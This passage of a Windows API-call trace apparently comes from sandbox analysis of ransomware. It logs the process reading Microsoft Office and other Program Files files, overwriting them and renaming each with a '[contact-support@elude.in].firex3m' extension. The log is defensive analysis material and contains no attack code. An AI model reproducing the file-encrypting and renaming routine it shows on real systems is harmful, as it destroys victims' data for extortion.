nFileSizeLow=0x4c6d, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="Dialog.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DIALOG~1.FIR")) returned 0x6d5540 [0196.340] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0196.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0196.340] GetProcessHeap () returned 0x630000 [0196.340] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c81) returned 0x6fb5f88 [0196.340] GetProcessHeap () returned 0x630000 [0196.340] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c81) returned 0x70a7c70 [0196.341] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.341] ReadFile (in: hFile=0x68c, lpBuffer=0x6fb5f88, nNumberOfBytesToRead=0x4c60, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb5f88*, lpNumberOfBytesRead=0x3e3ff0c*=0x4c60, lpOverlapped=0x0) returned 1 [0200.901] GetProcessHeap () returned 0x630000 [0200.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0200.902] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.902] WriteFile (in: hFile=0x68c, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0x4c60, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4c60, lpOverlapped=0x0) returned 1 [0200.902] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.902] WriteFile (in: hFile=0x68c, lpBuffer=0x70ac8cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ac8cf*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0200.902] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.902] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0200.902] CloseHandle (hObject=0x68c) returned 1 [0200.903] GetProcessHeap () returned 0x630000 [0200.903] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0200.903] GetProcessHeap () returned 0x630000 [0200.903] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb5f88 | out: hHeap=0x630000) returned 1 [0200.903] GetProcessHeap () returned 0x630000 [0200.903] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0200.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3db0dee9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4c91, dwReserved0=0xccc7496, dwReserved1=0x6fb5f80, cFileName="Dialog.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DIALOG~1.FIR")) returned 0x6d5280 [0200.904] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0200.904] Sleep (dwMilliseconds=0x1) [0202.637] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml", len=0x6e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml") returned 1 [0202.637] GetProcessHeap () returned 0x630000 [0202.638] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c08) returned 0x7133a90 [0202.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\heartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0203.662] CloseHandle (hObject=0x640) returned 1 [0203.662] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\heartbeatconfig.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\heartbeatconfig.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26a58c7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26a58c7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26a7ef01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x102e, dwReserved0=0xfa0010ea, dwReserved1=0x6f0063, cFileName="HeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HEARTB~1.FIR")) returned 0x6d4f00 [0203.669] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0203.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\heartbeatconfig.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0203.669] GetProcessHeap () returned 0x630000 [0203.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1041) returned 0x7239fd8 [0203.669] GetProcessHeap () returned 0x630000 [0203.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1041) returned 0x723b0e0 [0203.669] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.670] ReadFile (in: hFile=0x640, lpBuffer=0x7239fd8, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7239fd8*, lpNumberOfBytesRead=0x3e3ff0c*=0x1020, lpOverlapped=0x0) returned 1 [0203.687] GetProcessHeap () returned 0x630000 [0203.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0203.687] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.688] WriteFile (in: hFile=0x640, lpBuffer=0x723b0e0*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723b0e0*, lpNumberOfBytesWritten=0x3e3ff0c*=0x1020, lpOverlapped=0x0) returned 1 [0203.688] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.688] WriteFile (in: hFile=0x640, lpBuffer=0x723c0ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723c0ff*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0203.688] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.688] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0203.688] CloseHandle (hObject=0x640) returned 1 [0203.688] GetProcessHeap () returned 0x630000 [0203.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723b0e0 | out: hHeap=0x630000) returned 1 [0203.688] GetProcessHeap () returned 0x630000 [0203.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7239fd8 | out: hHeap=0x630000) returned 1 [0203.688] GetProcessHeap () returned 0x630000 [0203.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0203.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26a58c7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26a58c7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f5a8186, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1052, dwReserved0=0x3e3fd20, dwReserved1=0x7239fd8, cFileName="HeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HEARTB~1.FIR")) returned 0x6d5440 [0203.689] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0203.689] Sleep (dwMilliseconds=0x1) [0203.694] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\OLicenseHeartbeat.exe", len=0x70 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\OLicenseHeartbeat.exe") returned 1 [0203.694] GetProcessHeap () returned 0x630000 [0203.694] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bf0) returned 0x7133a90 [0203.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\OLicenseHeartbeat.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\olicenseheartbeat.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0203.698] CloseHandle (hObject=0x4bc) returned 1 [0203.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\OLicenseHeartbeat.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\olicenseheartbeat.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\OLicenseHeartbeat.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\olicenseheartbeat.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0205.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\OLicenseHeartbeat.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2497e17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2497e17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe261555e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dc70, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="OLicenseHeartbeat.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OLICEN~1.FIR")) returned 0x6d5540 [0205.808] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0205.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\OLicenseHeartbeat.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\olicenseheartbeat.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0205.808] GetProcessHeap () returned 0x630000 [0205.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1c300 [0205.809] GetProcessHeap () returned 0x630000 [0205.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f27730 [0205.809] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.809] ReadFile (in: hFile=0x4bc, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0213.659] GetProcessHeap () returned 0x630000 [0213.659] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0213.659] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.660] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f27730*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f27730*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0215.520] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.520] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f32b2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32b2f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.642] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.642] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.642] CloseHandle (hObject=0x4bc) returned 1 [0215.645] GetProcessHeap () returned 0x630000 [0215.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f27730 | out: hHeap=0x630000) returned 1 [0215.647] GetProcessHeap () returned 0x630000 [0215.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0215.657] GetProcessHeap () returned 0x630000 [0215.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0215.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\OLicenseHeartbeat.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2497e17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2497e17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x467b0613, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4dc94, dwReserved0=0xccc7496, dwReserved1=0x6f1c2f8, cFileName="OLicenseHeartbeat.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OLICEN~1.FIR")) returned 0x6d51c0 [0215.680] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0215.680] Sleep (dwMilliseconds=0x1) [0217.087] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml") returned 1 [0217.087] GetProcessHeap () returned 0x630000 [0217.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fa0) returned 0x74d7f88 [0217.087] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0217.088] CloseHandle (hObject=0x6dc) returned 1 [0217.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.088] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x26a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5500 [0217.090] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0217.090] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0217.090] GetProcessHeap () returned 0x630000 [0217.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f0750 [0217.090] GetProcessHeap () returned 0x630000 [0217.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ef760 [0217.090] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.090] ReadFile (in: hFile=0x6dc, lpBuffer=0x6f0750, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0750*, lpNumberOfBytesRead=0x3e3ff0c*=0x260, lpOverlapped=0x0) returned 1 [0217.094] GetProcessHeap () returned 0x630000 [0217.094] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0217.094] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.094] WriteFile (in: hFile=0x6dc, lpBuffer=0x6ef760*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef760*, lpNumberOfBytesWritten=0x3e3ff0c*=0x260, lpOverlapped=0x0) returned 1 [0217.094] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.094] WriteFile (in: hFile=0x6dc, lpBuffer=0x6ef9bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef9bf*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.094] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.094] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.094] CloseHandle (hObject=0x6dc) returned 1 [0217.094] GetProcessHeap () returned 0x630000 [0217.094] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef760 | out: hHeap=0x630000) returned 1 [0217.094] GetProcessHeap () returned 0x630000 [0217.094] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0750 | out: hHeap=0x630000) returned 1 [0217.094] GetProcessHeap () returned 0x630000 [0217.094] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0217.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, 